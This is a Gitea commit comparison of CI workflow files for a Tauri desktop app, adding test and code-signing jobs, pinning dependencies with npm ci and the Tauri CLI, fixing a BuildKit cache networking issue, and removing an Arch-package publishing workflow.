Compare commits
119
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f2bb092586 | ||
|
|
5829c42f0f | ||
|
|
19ae92d4f8 | ||
|
|
dd019cf2c0 | ||
|
|
f2ebddd073 | ||
|
|
2c1d6d8713 | ||
|
|
9588687934 | ||
|
|
6cf9664dc8 | ||
|
|
89859b9a3c | ||
|
|
f4153dce42 | ||
|
|
7a55c11b31 | ||
|
|
d9f143cdb3 | ||
|
|
310d55eb37 | ||
|
|
1168a0c56b | ||
|
|
d84637fd39 | ||
|
|
7fb2190211 | ||
|
|
5cbb4591fe | ||
|
|
7f3fe8cded | ||
|
|
b73067019f | ||
|
|
9a1833d792 | ||
|
|
51490a534e | ||
|
|
126d7148ac | ||
|
|
28c8f0479b | ||
|
|
e7ee62b456 | ||
|
|
f3909084f6 | ||
|
|
487443c27c | ||
|
|
b09f811ac1 | ||
|
|
3c12a2fc89 | ||
|
|
2e62728b06 | ||
|
|
d23d0a44c5 | ||
|
|
d419d0a6b4 | ||
|
|
723555bf1d | ||
|
|
a6b00e0873 | ||
|
|
ece0d74afb | ||
|
|
292fc907fb | ||
|
|
0d117e97fe | ||
|
|
f8e3ec1150 | ||
|
|
85901d8a80 | ||
|
|
8305c96e20 | ||
|
|
3537b234d8 | ||
|
|
83c9c24951 | ||
|
|
c6f9c1d43f | ||
|
|
593b8168eb | ||
|
|
d647b56b43 | ||
|
|
a3840f7263 | ||
|
|
ac50c38891 | ||
|
|
f662ed04ce | ||
|
|
f311ca1990 | ||
|
|
84a5757c74 | ||
|
|
73a6e3d8b4 | ||
|
|
943c83b9e3 | ||
|
|
60188610ee | ||
|
|
db648230ee | ||
|
|
5a452e7a2a | ||
|
|
5a09254538 | ||
|
|
9297020688 | ||
|
|
bf8094dbc4 | ||
|
|
90b7e4ccb2 | ||
|
|
afe9d5cdb2 | ||
|
|
b59c6148ff | ||
|
|
95a78fe9a3 | ||
|
|
307ea07409 | ||
|
|
37bbf181c9 | ||
|
|
5d16b5713d | ||
|
|
c02c02cbfc | ||
|
|
c0e4c87cec | ||
|
|
3aec2998d8 | ||
|
|
019fb403d5 | ||
|
|
b21a568bf5 | ||
|
|
f41b1d9054 | ||
|
|
d38736007f | ||
|
|
63f282bef6 | ||
|
|
d561ce03d5 | ||
|
|
670450ccfd | ||
|
|
a0b9f1e19b | ||
|
|
9fadfbc37a | ||
|
|
a3bdf6f4da | ||
|
|
dc9cdd1760 | ||
|
|
c16f0d5b70 | ||
|
|
3239057f8f | ||
|
|
23364f412e | ||
|
|
b24807bd5f | ||
|
|
0f3fff92f4 | ||
|
|
1eb91a35eb | ||
|
|
aa0a574091 | ||
|
|
2708772bf9 | ||
|
|
436b6dd470 | ||
|
|
5c47656444 | ||
|
|
be47c5edfd | ||
|
|
037ed78570 | ||
|
|
31e8f9df5f | ||
|
|
3704064006 | ||
|
|
f79a44e0a8 | ||
|
|
5a8e24ccbe | ||
|
|
a1f4eee9a3 | ||
|
|
b6ba6deb09 | ||
|
|
cd3160b1cd | ||
|
|
60abff1717 | ||
|
|
cc767bd544 | ||
|
|
221e7566c3 | ||
|
|
e58e2cdaf7 | ||
|
|
ed1dc8502c | ||
|
|
bd08ce8be2 | ||
|
|
7a5c0c1f13 | ||
|
|
3a49a67c1f | ||
|
|
88d6bed6db | ||
|
|
6cc48b3266 | ||
|
|
0fad306c25 | ||
|
|
8beb62b12c | ||
|
|
f2cfc0be8f | ||
|
|
99c9dd3cc2 | ||
|
|
dd48baac8a | ||
|
|
e63318e04a | ||
|
|
adf9e7d603 | ||
|
|
7489516df3 | ||
|
|
97e58db3c1 | ||
|
|
a606e3ab20 | ||
|
|
925e51e435 | ||
|
|
722d9aeff1 |
@@ -5,9 +5,13 @@ name: Build App (Preview)
|
||||
# sync.
|
||||
#
|
||||
# This is also the **PR build check**: it compiles Linux, macOS and Windows, so
|
||||
# a push that breaks any of them fails here. build-app.yml used to do that job
|
||||
# in parallel and publish nothing, which meant six OS builds per push and one
|
||||
# unreachable set of bundles; it is now releases-only.
|
||||
# a push that breaks any of them fails here. Its `test` job runs vitest and
|
||||
# `cargo test` too, so a push that breaks either suite fails here as well.
|
||||
# Previews are not code-signed (releases are, in build-app.yml): see the
|
||||
# comment on the Windows job's "Build Tauri app" step.
|
||||
# build-app.yml used to do the build-check job in parallel and publish nothing,
|
||||
# which meant six OS builds per push and one unreachable set of bundles; it is
|
||||
# now releases-only.
|
||||
#
|
||||
# The cost of the swap, stated plainly: one prerelease per PR commit that
|
||||
# touches `app/**` — so the workflow prunes its own, keeping the newest
|
||||
@@ -221,6 +225,102 @@ jobs:
|
||||
echo "RELEASE_ID=${RELEASE_ID}" >> $GITHUB_OUTPUT
|
||||
echo "Release ${TAG} is id ${RELEASE_ID}"
|
||||
|
||||
# The test suites. Before this job CI ran neither: every check below lived on
|
||||
# a developer's machine. The one that matters most is the app-command ACL
|
||||
# census — `cargo test` is what re-checks the committed capability files and
|
||||
# `gen/schemas/acl-manifests.json` against `generate_handler!`, and vitest's
|
||||
# `capabilities.test.ts` is what keeps each window's code to the wrappers its
|
||||
# capability grants. A command left ungranted builds fine and only fails at
|
||||
# runtime ("not allowed by ACL"), so these tests are the merge-time guard.
|
||||
#
|
||||
# Independent of the release: no `needs`, so it runs alongside the three
|
||||
# platform builds rather than in front of them, and a red test fails the PR
|
||||
# check without holding up a preview someone may want to try anyway.
|
||||
#
|
||||
# Setup mirrors build-linux on purpose — the same Node, the same apt set
|
||||
# (`cargo test` compiles the whole Tauri crate, so it needs WebKitGTK like
|
||||
# a real build) and `npm ci` from the lockfile for the reasons given there.
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Install Node.js 22
|
||||
run: |
|
||||
NEED_INSTALL=false
|
||||
if command -v node >/dev/null 2>&1; then
|
||||
NODE_MAJOR=$(node --version | sed 's/v\([0-9]*\).*/\1/')
|
||||
OLD_NODE_DIR=$(dirname "$(which node)")
|
||||
echo "Found Node.js $(node --version) at $(which node) (major: ${NODE_MAJOR})"
|
||||
if [ "$NODE_MAJOR" -lt 22 ]; then
|
||||
echo "Node.js ${NODE_MAJOR} is too old, removing before installing 22..."
|
||||
sudo rm -f "${OLD_NODE_DIR}/node" "${OLD_NODE_DIR}/npm" "${OLD_NODE_DIR}/npx" "${OLD_NODE_DIR}/corepack"
|
||||
hash -r
|
||||
NEED_INSTALL=true
|
||||
fi
|
||||
else
|
||||
echo "Node.js not found, installing 22..."
|
||||
NEED_INSTALL=true
|
||||
fi
|
||||
if [ "$NEED_INSTALL" = true ]; then
|
||||
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
|
||||
sudo apt-get install -y nodejs
|
||||
hash -r
|
||||
fi
|
||||
node --version
|
||||
npm --version
|
||||
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Install system dependencies
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y \
|
||||
libgtk-3-dev \
|
||||
libwebkit2gtk-4.1-dev \
|
||||
libayatana-appindicator3-dev \
|
||||
librsvg2-dev \
|
||||
libsoup-3.0-dev \
|
||||
libssl-dev \
|
||||
libxdo-dev \
|
||||
pkg-config \
|
||||
build-essential \
|
||||
curl
|
||||
|
||||
- name: Install Rust stable
|
||||
run: |
|
||||
if command -v rustup >/dev/null 2>&1; then
|
||||
rustup update stable
|
||||
rustup default stable
|
||||
else
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --default-toolchain stable
|
||||
fi
|
||||
export PATH="$HOME/.cargo/bin:$PATH"
|
||||
rustc --version
|
||||
cargo --version
|
||||
|
||||
- name: Install frontend dependencies
|
||||
working-directory: ./app
|
||||
run: npm ci
|
||||
|
||||
# `npm run build` is `tsc && vite build`: the type check, and the
|
||||
# `dist/` that `tauri::generate_context!` needs to exist before the Rust
|
||||
# crate — and so `cargo test` — will compile at all.
|
||||
- name: Type-check and build the frontend
|
||||
working-directory: ./app
|
||||
run: npm run build
|
||||
|
||||
- name: Frontend tests (vitest)
|
||||
working-directory: ./app
|
||||
run: npx vitest run
|
||||
|
||||
# `--locked`: test against the committed Cargo.lock, never a re-resolved
|
||||
# one, for the same reason the frontend uses `npm ci`.
|
||||
- name: Backend tests (cargo test)
|
||||
working-directory: ./app/src-tauri
|
||||
run: |
|
||||
export PATH="$HOME/.cargo/bin:$PATH"
|
||||
cargo test --locked
|
||||
|
||||
build-linux:
|
||||
runs-on: ubuntu-latest
|
||||
needs: [compute-version, create-release]
|
||||
@@ -299,8 +399,34 @@ jobs:
|
||||
- name: Install frontend dependencies
|
||||
working-directory: ./app
|
||||
run: |
|
||||
rm -rf node_modules package-lock.json
|
||||
npm install
|
||||
# `npm ci` — from the lockfile, never resolving afresh.
|
||||
#
|
||||
# This used to be `rm -rf node_modules package-lock.json && npm
|
||||
# install`, which deleted the lockfile "to ensure correct
|
||||
# platform-specific bindings" (2d4fce9). That made every build
|
||||
# re-resolve the whole tree against the registry, so a dependency
|
||||
# publishing a new version could break CI with no change to this
|
||||
# repo — and one did. Deleting the lockfile then hit a null
|
||||
# dereference in npm 10.9.8's arborist peer-set resolver:
|
||||
#
|
||||
# npm error Cannot read properties of null (reading 'edgesOut')
|
||||
# at #loadPeerSet (.../build-ideal-tree.js:1289:38)
|
||||
#
|
||||
# reached through vite → @vitejs/devtools → @vitejs/devtools-vitest
|
||||
# → vitest@* → @vitest/browser-playwright → jsdom@* → canvas.
|
||||
# Reproduced exactly by removing the lockfile locally on the same
|
||||
# Node 22.23.2 the runner installs.
|
||||
#
|
||||
# The binding worry is obsolete: the committed lockfile records 25
|
||||
# rollup platform variants, and `npm ci` on Linux installs precisely
|
||||
# rollup-linux-x64-{gnu,musl} and @esbuild/linux-x64. Verified, along
|
||||
# with a clean tsc, a successful build and 752 passing tests from the
|
||||
# resulting tree.
|
||||
#
|
||||
# Do not "fix" a future dependency error by deleting the lockfile
|
||||
# again. If `npm ci` refuses, package.json and the lockfile have
|
||||
# genuinely diverged, and the fix is to commit an updated lockfile.
|
||||
npm ci
|
||||
|
||||
- name: Install Tauri CLI
|
||||
working-directory: ./app
|
||||
@@ -319,14 +445,22 @@ jobs:
|
||||
TRIPLE_C_BUILD_SUFFIX: ${{ needs.compute-version.outputs.suffix }}
|
||||
run: |
|
||||
export PATH="$HOME/.cargo/bin:$PATH"
|
||||
npx tauri build
|
||||
# AppImage only: the .deb and .rpm were dropped in favour of the one
|
||||
# artifact that runs everywhere, and building them is pure cost.
|
||||
# Left as "all" in tauri.conf.json so macOS and Windows are unaffected.
|
||||
npx tauri build --bundles appimage
|
||||
|
||||
# linuxdeploy bundles a libwayland-client.so.0 that shadows the host's
|
||||
# and breaks Mesa's EGL on systems newer than the build runner, so the
|
||||
# window comes up blank. It has to come from the host; see the script
|
||||
# header for the evidence and the trade.
|
||||
- name: Finalize the AppImage
|
||||
run: bash scripts/finalize-appimage.sh app/src-tauri/target/release/bundle/appimage
|
||||
|
||||
- name: Collect artifacts
|
||||
run: |
|
||||
mkdir -p artifacts
|
||||
cp app/src-tauri/target/release/bundle/appimage/*.AppImage artifacts/ 2>/dev/null || true
|
||||
cp app/src-tauri/target/release/bundle/deb/*.deb artifacts/ 2>/dev/null || true
|
||||
cp app/src-tauri/target/release/bundle/rpm/*.rpm artifacts/ 2>/dev/null || true
|
||||
ls -la artifacts/
|
||||
|
||||
# Assets, not workflow artifacts — see the note at the top of this file.
|
||||
@@ -418,8 +552,10 @@ jobs:
|
||||
- name: Install frontend dependencies
|
||||
working-directory: ./app
|
||||
run: |
|
||||
rm -rf node_modules
|
||||
npm install
|
||||
# `npm ci` here too, so all three platforms install identically and
|
||||
# none of them can re-resolve the tree mid-release. Windows already
|
||||
# did. See the Linux job for what a fresh resolution cost us.
|
||||
npm ci
|
||||
|
||||
- name: Install Tauri CLI
|
||||
working-directory: ./app
|
||||
@@ -535,7 +671,10 @@ jobs:
|
||||
- name: Install Tauri CLI via cargo
|
||||
run: |
|
||||
set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%"
|
||||
cargo install tauri-cli --version "^2"
|
||||
rem Pinned to the @tauri-apps/cli version in app/package-lock.json, which
|
||||
rem the Linux and macOS jobs run, and kept identical to build-app.yml so
|
||||
rem a preview is built by the same bundler as the release it previews.
|
||||
cargo install tauri-cli --version "=2.11.0" --locked
|
||||
|
||||
- name: Fix npm platform detection
|
||||
run: |
|
||||
@@ -558,13 +697,21 @@ jobs:
|
||||
|
||||
- name: Build Tauri app
|
||||
working-directory: ./app
|
||||
# Previews are not code-signed: signing is metered, previews are built
|
||||
# on every PR push, and a PR's workflow runs the PR's own code - so the
|
||||
# signing secrets stay out of this workflow entirely. Releases are
|
||||
# signed in build-app.yml.
|
||||
#
|
||||
# beforeBuildCommand is blanked through --config because the frontend
|
||||
# was built in the step above. Not TAURI_CONFIG: the v2 CLI never
|
||||
# reads that variable, and the inline one this step used to set was a
|
||||
# no-op.
|
||||
env:
|
||||
TAURI_CONFIG: "{\"build\":{\"beforeBuildCommand\":\"\"}}"
|
||||
# See the matching comment on the Linux job's "Build Tauri app" step.
|
||||
TRIPLE_C_BUILD_SUFFIX: ${{ needs.compute-version.outputs.suffix }}
|
||||
run: |
|
||||
set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%"
|
||||
cargo tauri build
|
||||
cargo tauri build --config "{\"build\":{\"beforeBuildCommand\":\"\"}}"
|
||||
|
||||
- name: Collect artifacts
|
||||
run: |
|
||||
|
||||
+112
-10
@@ -7,6 +7,7 @@ on:
|
||||
- "app/**"
|
||||
- "VERSION"
|
||||
- ".gitea/workflows/build-app.yml"
|
||||
- "scripts/windows-*.ps1"
|
||||
workflow_dispatch:
|
||||
|
||||
# Deliberately **not** on pull_request. Every publishing step here is gated on
|
||||
@@ -172,8 +173,34 @@ jobs:
|
||||
- name: Install frontend dependencies
|
||||
working-directory: ./app
|
||||
run: |
|
||||
rm -rf node_modules package-lock.json
|
||||
npm install
|
||||
# `npm ci` — from the lockfile, never resolving afresh.
|
||||
#
|
||||
# This used to be `rm -rf node_modules package-lock.json && npm
|
||||
# install`, which deleted the lockfile "to ensure correct
|
||||
# platform-specific bindings" (2d4fce9). That made every build
|
||||
# re-resolve the whole tree against the registry, so a dependency
|
||||
# publishing a new version could break CI with no change to this
|
||||
# repo — and one did. Deleting the lockfile then hit a null
|
||||
# dereference in npm 10.9.8's arborist peer-set resolver:
|
||||
#
|
||||
# npm error Cannot read properties of null (reading 'edgesOut')
|
||||
# at #loadPeerSet (.../build-ideal-tree.js:1289:38)
|
||||
#
|
||||
# reached through vite → @vitejs/devtools → @vitejs/devtools-vitest
|
||||
# → vitest@* → @vitest/browser-playwright → jsdom@* → canvas.
|
||||
# Reproduced exactly by removing the lockfile locally on the same
|
||||
# Node 22.23.2 the runner installs.
|
||||
#
|
||||
# The binding worry is obsolete: the committed lockfile records 25
|
||||
# rollup platform variants, and `npm ci` on Linux installs precisely
|
||||
# rollup-linux-x64-{gnu,musl} and @esbuild/linux-x64. Verified, along
|
||||
# with a clean tsc, a successful build and 752 passing tests from the
|
||||
# resulting tree.
|
||||
#
|
||||
# Do not "fix" a future dependency error by deleting the lockfile
|
||||
# again. If `npm ci` refuses, package.json and the lockfile have
|
||||
# genuinely diverged, and the fix is to commit an updated lockfile.
|
||||
npm ci
|
||||
|
||||
- name: Install Tauri CLI
|
||||
working-directory: ./app
|
||||
@@ -185,16 +212,38 @@ jobs:
|
||||
working-directory: ./app
|
||||
run: |
|
||||
export PATH="$HOME/.cargo/bin:$PATH"
|
||||
npx tauri build
|
||||
# AppImage only: the .deb and .rpm were dropped in favour of the one
|
||||
# artifact that runs everywhere, and building them is pure cost.
|
||||
# Left as "all" in tauri.conf.json so macOS and Windows are unaffected.
|
||||
npx tauri build --bundles appimage
|
||||
|
||||
# linuxdeploy bundles a libwayland-client.so.0 that shadows the host's
|
||||
# and breaks Mesa's EGL on systems newer than the build runner, so the
|
||||
# window comes up blank. It has to come from the host; see the script
|
||||
# header for the evidence and the trade.
|
||||
- name: Finalize the AppImage
|
||||
run: bash scripts/finalize-appimage.sh app/src-tauri/target/release/bundle/appimage
|
||||
|
||||
- name: Collect artifacts
|
||||
run: |
|
||||
mkdir -p artifacts
|
||||
# The versioned AppImage only. The update channel's copy lives in
|
||||
# bundle/appimage/update-channel/ precisely so this glob cannot pick
|
||||
# it up and publish an 80 MB duplicate under a second name.
|
||||
cp app/src-tauri/target/release/bundle/appimage/*.AppImage artifacts/ 2>/dev/null || true
|
||||
cp app/src-tauri/target/release/bundle/deb/*.deb artifacts/ 2>/dev/null || true
|
||||
cp app/src-tauri/target/release/bundle/rpm/*.rpm artifacts/ 2>/dev/null || true
|
||||
ls -la artifacts/
|
||||
|
||||
# A green job that published nothing is the worst outcome available:
|
||||
# the release exists, carries no AppImage, and nobody is told. The
|
||||
# `|| true` above is there so a missing bundle does not mask the real
|
||||
# error, which makes this check the thing that catches it.
|
||||
shopt -s nullglob
|
||||
collected=(artifacts/*)
|
||||
if [ ${#collected[@]} -eq 0 ]; then
|
||||
echo "No artifacts collected — the bundler produced nothing." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
- name: Upload to Gitea release
|
||||
if: gitea.event_name == 'push'
|
||||
env:
|
||||
@@ -270,6 +319,19 @@ jobs:
|
||||
"${GITEA_URL}/api/v1/repos/${REPO}/releases/${RELEASE_ID}/assets?name=${filename}"
|
||||
done
|
||||
|
||||
# The fixed tag every installed AppImage checks for updates. Separate
|
||||
# from the versioned release above because the updater's URL must never
|
||||
# move, and `releases/latest` does.
|
||||
- name: Publish the Linux update channel
|
||||
if: gitea.event_name == 'push'
|
||||
env:
|
||||
GH_PAT: ${{ secrets.GH_PAT }}
|
||||
GITEA_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
|
||||
GITEA_SHA: ${{ gitea.sha }}
|
||||
run: |
|
||||
bash scripts/publish-update-channel.sh \
|
||||
app/src-tauri/target/release/bundle/appimage/update-channel
|
||||
|
||||
build-macos:
|
||||
runs-on: macos-latest
|
||||
needs: [compute-version]
|
||||
@@ -325,8 +387,10 @@ jobs:
|
||||
- name: Install frontend dependencies
|
||||
working-directory: ./app
|
||||
run: |
|
||||
rm -rf node_modules
|
||||
npm install
|
||||
# `npm ci` here too, so all three platforms install identically and
|
||||
# none of them can re-resolve the tree mid-release. Windows already
|
||||
# did. See the Linux job for what a fresh resolution cost us.
|
||||
npm ci
|
||||
|
||||
- name: Install Tauri CLI
|
||||
working-directory: ./app
|
||||
@@ -548,7 +612,11 @@ jobs:
|
||||
- name: Install Tauri CLI via cargo
|
||||
run: |
|
||||
set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%"
|
||||
cargo install tauri-cli --version "^2"
|
||||
rem Pinned to the @tauri-apps/cli version in app/package-lock.json, which
|
||||
rem the Linux and macOS jobs run: the Windows code-signing path (sign
|
||||
rem command, NSIS uninstaller signing) was verified against it, and "^2"
|
||||
rem would change it underneath the pipeline on any Tauri release.
|
||||
cargo install tauri-cli --version "=2.11.0" --locked
|
||||
|
||||
- name: Fix npm platform detection
|
||||
run: |
|
||||
@@ -569,10 +637,31 @@ jobs:
|
||||
set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%"
|
||||
npm run build
|
||||
|
||||
# Releases are signed with Azure Artifact Signing (scripts/windows-*.ps1).
|
||||
# The setup fetches the signing client and a job-local .NET runtime, and
|
||||
# writes the Tauri config holding the sign command, which "Build Tauri
|
||||
# app" passes with --config. A missing secret fails here, before the build.
|
||||
- name: Prepare code signing
|
||||
env:
|
||||
AZURE_TENANT_ID: ${{ secrets.AZURE_TENANT_ID }}
|
||||
AZURE_CLIENT_ID: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
AZURE_CLIENT_SECRET: ${{ secrets.AZURE_CLIENT_SECRET }}
|
||||
ARTIFACT_SIGNING_ENDPOINT: ${{ secrets.ARTIFACT_SIGNING_ENDPOINT }}
|
||||
ARTIFACT_SIGNING_ACCOUNT_NAME: ${{ secrets.ARTIFACT_SIGNING_ACCOUNT_NAME }}
|
||||
ARTIFACT_SIGNING_PROFILE_NAME: ${{ secrets.ARTIFACT_SIGNING_PROFILE_NAME }}
|
||||
run: powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -File scripts\windows-signing-setup.ps1
|
||||
|
||||
- name: Build Tauri app
|
||||
working-directory: ./app
|
||||
# The sign command comes in through --config, from the file "Prepare
|
||||
# code signing" wrote. Not TAURI_CONFIG: the v2 CLI never reads that
|
||||
# variable (the inline one this step used to set was a no-op), and
|
||||
# "Verify signatures" is what caught it.
|
||||
env:
|
||||
TAURI_CONFIG: "{\"build\":{\"beforeBuildCommand\":\"\"}}"
|
||||
# Read by the signing dlib itself, never passed on a command line.
|
||||
AZURE_TENANT_ID: ${{ secrets.AZURE_TENANT_ID }}
|
||||
AZURE_CLIENT_ID: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
AZURE_CLIENT_SECRET: ${{ secrets.AZURE_CLIENT_SECRET }}
|
||||
run: |
|
||||
set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%"
|
||||
rem Every Tauri bundler it downloads - candle.exe, light.exe and
|
||||
@@ -587,7 +676,20 @@ jobs:
|
||||
rem systemprofile\AppData\Local\tauri and systemprofile\.cache to the
|
||||
rem System32 originals, which makes the redirected view resolve. A
|
||||
rem runner running as a normal user needs no such patch.
|
||||
cargo tauri build --bundles msi,nsis
|
||||
cargo tauri build --bundles msi,nsis --config "%TRIPLE_C_TAURI_SIGN_CONFIG%"
|
||||
|
||||
- name: Verify signatures
|
||||
run: >-
|
||||
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass
|
||||
-File scripts\windows-verify-signatures.ps1
|
||||
app\src-tauri\target\release\bundle\msi\*.msi
|
||||
app\src-tauri\target\release\bundle\nsis\*.exe
|
||||
|
||||
# Tauri reports a failed sign command as just "failed to run powershell";
|
||||
# windows-sign.ps1 keeps its own transcript, signtool /debug included.
|
||||
- name: Show signing output
|
||||
if: failure()
|
||||
run: if exist .code-signing\sign-output.log type .code-signing\sign-output.log
|
||||
|
||||
- name: Collect artifacts
|
||||
run: |
|
||||
|
||||
@@ -28,6 +28,27 @@ jobs:
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
with:
|
||||
# Put BuildKit in the host's network namespace so it can reach
|
||||
# act_runner's cache service.
|
||||
#
|
||||
# The `docker-container` driver — which the multi-arch build below
|
||||
# requires, since the plain `docker` driver cannot do
|
||||
# linux/amd64+linux/arm64 — runs BuildKit in its *own* container on
|
||||
# Docker's default bridge. act_runner advertises ACTIONS_CACHE_URL as
|
||||
# an address the *job* container can reach, and nothing teaches the
|
||||
# BuildKit container about it: the job could reach
|
||||
# 192.168.1.126:40649 while the container actually making the request
|
||||
# could not, and the build died with `no route to host`.
|
||||
#
|
||||
# `no route to host` is EHOSTUNREACH — a firewall rejecting, not a
|
||||
# missing route (a wrong address times out instead) — which is what a
|
||||
# default firewalld zone does to traffic arriving from the docker
|
||||
# bridge. Sharing the host's namespace sidesteps the question
|
||||
# entirely: the cache address becomes local to BuildKit.
|
||||
#
|
||||
# No effect on runners where this already worked.
|
||||
driver-opts: network=host
|
||||
|
||||
- name: Login to Gitea Container Registry
|
||||
uses: docker/login-action@v3
|
||||
@@ -55,5 +76,21 @@ jobs:
|
||||
${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ gitea.sha }}
|
||||
ghcr.io/shadowdao/triple-c-sandbox:latest
|
||||
ghcr.io/shadowdao/triple-c-sandbox:${{ gitea.sha }}
|
||||
# `ignore-error` is what stops a cache failure failing a build that
|
||||
# already succeeded. act_runner emulates the GitHub Actions cache
|
||||
# service on the runner host's LAN address, and the `docker-container`
|
||||
# builder `setup-buildx-action` creates could not route to it —
|
||||
# every layer of both arches built, then the job died on
|
||||
# `GetCacheEntryDownloadURL: no route to host` while exporting.
|
||||
#
|
||||
# On a pull_request `push:` above is false, so this job pushes
|
||||
# nothing and the cache is its only output: failing it discarded a
|
||||
# complete, successful validation of the Dockerfile for both
|
||||
# architectures. A cache is an optimisation and must degrade to
|
||||
# "slow", never to "red".
|
||||
#
|
||||
# The import is already non-fatal — the build ran all 37 layers after
|
||||
# warning that it could not read the cache — so only the exporter
|
||||
# needs the flag.
|
||||
cache-from: type=gha
|
||||
cache-to: type=gha,mode=max
|
||||
cache-to: type=gha,mode=max,ignore-error=true
|
||||
|
||||
@@ -1,298 +0,0 @@
|
||||
name: Publish Arch Package
|
||||
|
||||
# Builds the `triple-c-bin` Arch package (packaging/arch/PKGBUILD) for a
|
||||
# given release, or the latest one if none is given, and attaches the built
|
||||
# .pkg.tar.zst to that release on GitHub as a downloadable asset. Manual
|
||||
# dispatch only — deliberately not triggered by `release` or `push`, for the
|
||||
# same reason sync-release.yml (removed in triple-c#32) never worked safely
|
||||
# as an automatic trigger: this repo's releases are assembled by
|
||||
# build-app.yml across three separate platform jobs, and there is no single
|
||||
# automatic event that fires only once everything (including the Linux .deb
|
||||
# this workflow needs) is actually uploaded. A human deciding "this release
|
||||
# is ready, go package it" is the correct trigger, the same reasoning
|
||||
# backfill-releases.yml already uses for its own manual-only GitHub sync.
|
||||
#
|
||||
# ## What this does and does not do
|
||||
#
|
||||
# It renders `packaging/arch/PKGBUILD` for one specific version (real
|
||||
# download URL, real sha256sums — never guessed; see the resolve-asset step),
|
||||
# validates it with `makepkg`/`namcap` in a real Arch container, and uploads
|
||||
# the resulting `.pkg.tar.zst` to the GitHub release it was built from —
|
||||
# installable by hand with `pacman -U`. It does NOT commit anything back to
|
||||
# this repo — `packaging/arch/PKGBUILD` stays a hand-maintained template with
|
||||
# a placeholder version, and the workflow never starts from or writes to it.
|
||||
#
|
||||
# ## Not published to the AUR (yet)
|
||||
#
|
||||
# This originally also pushed the rendered PKGBUILD to an AUR git repo, which
|
||||
# needs a maintainer AUR account and its SSH key registered as a secret here
|
||||
# — both manual, one-time steps neither this workflow nor anyone but a
|
||||
# maintainer can do. Until that setup happens, a downloadable release asset
|
||||
# gets the same package to users without it. The AUR push step is still in
|
||||
# this file's git history (see the commit that added this comment) if that
|
||||
# setup is ever done and it's worth reinstating.
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
version:
|
||||
description: >-
|
||||
Release version to package, without a leading "v" (e.g. "0.4.14").
|
||||
Leave empty to use the latest published GitHub release.
|
||||
required: false
|
||||
|
||||
env:
|
||||
GITHUB_REPO: shadowdao/triple-c
|
||||
|
||||
jobs:
|
||||
publish:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Resolve version and find the Linux asset
|
||||
id: resolve
|
||||
env:
|
||||
VERSION_INPUT: ${{ inputs.version }}
|
||||
GH_PAT: ${{ secrets.GH_PAT }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
# Authenticated when the secret is available (it is, everywhere
|
||||
# else in this repo's workflows) to avoid the unauthenticated
|
||||
# 60-requests/hour-per-IP cap; still works without it, just at that
|
||||
# lower limit, since this hits nothing but a public repo's public
|
||||
# releases.
|
||||
AUTH=()
|
||||
[ -n "${GH_PAT}" ] && AUTH=(-H "Authorization: Bearer ${GH_PAT}")
|
||||
|
||||
if [ -z "${VERSION_INPUT}" ]; then
|
||||
echo "No version given — resolving the latest GitHub release"
|
||||
RELEASE_JSON=$(curl -fsS "${AUTH[@]}" "https://api.github.com/repos/${GITHUB_REPO}/releases/latest")
|
||||
else
|
||||
echo "Using requested version ${VERSION_INPUT}"
|
||||
RELEASE_JSON=$(curl -fsS "${AUTH[@]}" "https://api.github.com/repos/${GITHUB_REPO}/releases/tags/v${VERSION_INPUT}")
|
||||
fi
|
||||
|
||||
TAG=$(echo "$RELEASE_JSON" | jq -r '.tag_name')
|
||||
VERSION="${TAG#v}"
|
||||
echo "Resolved to ${TAG}"
|
||||
|
||||
# Discovered from the real release, not assumed: Tauri names the
|
||||
# asset after `productName` verbatim ("Triple-C"), not the
|
||||
# lowercase Cargo binary name, and asset naming is exactly the kind
|
||||
# of thing that silently drifts if a future Tauri upgrade changes
|
||||
# bundler defaults — a hardcoded pattern here would then 404
|
||||
# forever until someone noticed. `head -1` guards against a release
|
||||
# somehow carrying more than one matching asset, which would
|
||||
# otherwise pass the emptiness check below and then break the
|
||||
# download step with two URLs on one line.
|
||||
DEB_URL=$(echo "$RELEASE_JSON" | jq -r '.assets[] | select(.name | endswith("_amd64.deb")) | .browser_download_url' | head -1)
|
||||
DEB_NAME=$(echo "$RELEASE_JSON" | jq -r '.assets[] | select(.name | endswith("_amd64.deb")) | .name' | head -1)
|
||||
if [ -z "$DEB_URL" ] || [ "$DEB_URL" = "null" ]; then
|
||||
echo "No *_amd64.deb asset found on release ${TAG}" >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "Found asset: ${DEB_NAME}"
|
||||
|
||||
# For attaching the built package to this same release later —
|
||||
# every release object carries its own `upload_url` regardless of
|
||||
# whether it was just created or (as here) already existed, and
|
||||
# the `{?name,label}` URI-template suffix has to come off before
|
||||
# this is usable as a plain URL to POST to.
|
||||
RELEASE_ID=$(echo "$RELEASE_JSON" | jq -r '.id')
|
||||
UPLOAD_URL=$(echo "$RELEASE_JSON" | jq -r '.upload_url' | sed 's/{?name,label}//')
|
||||
|
||||
echo "version=${VERSION}" >> "$GITHUB_OUTPUT"
|
||||
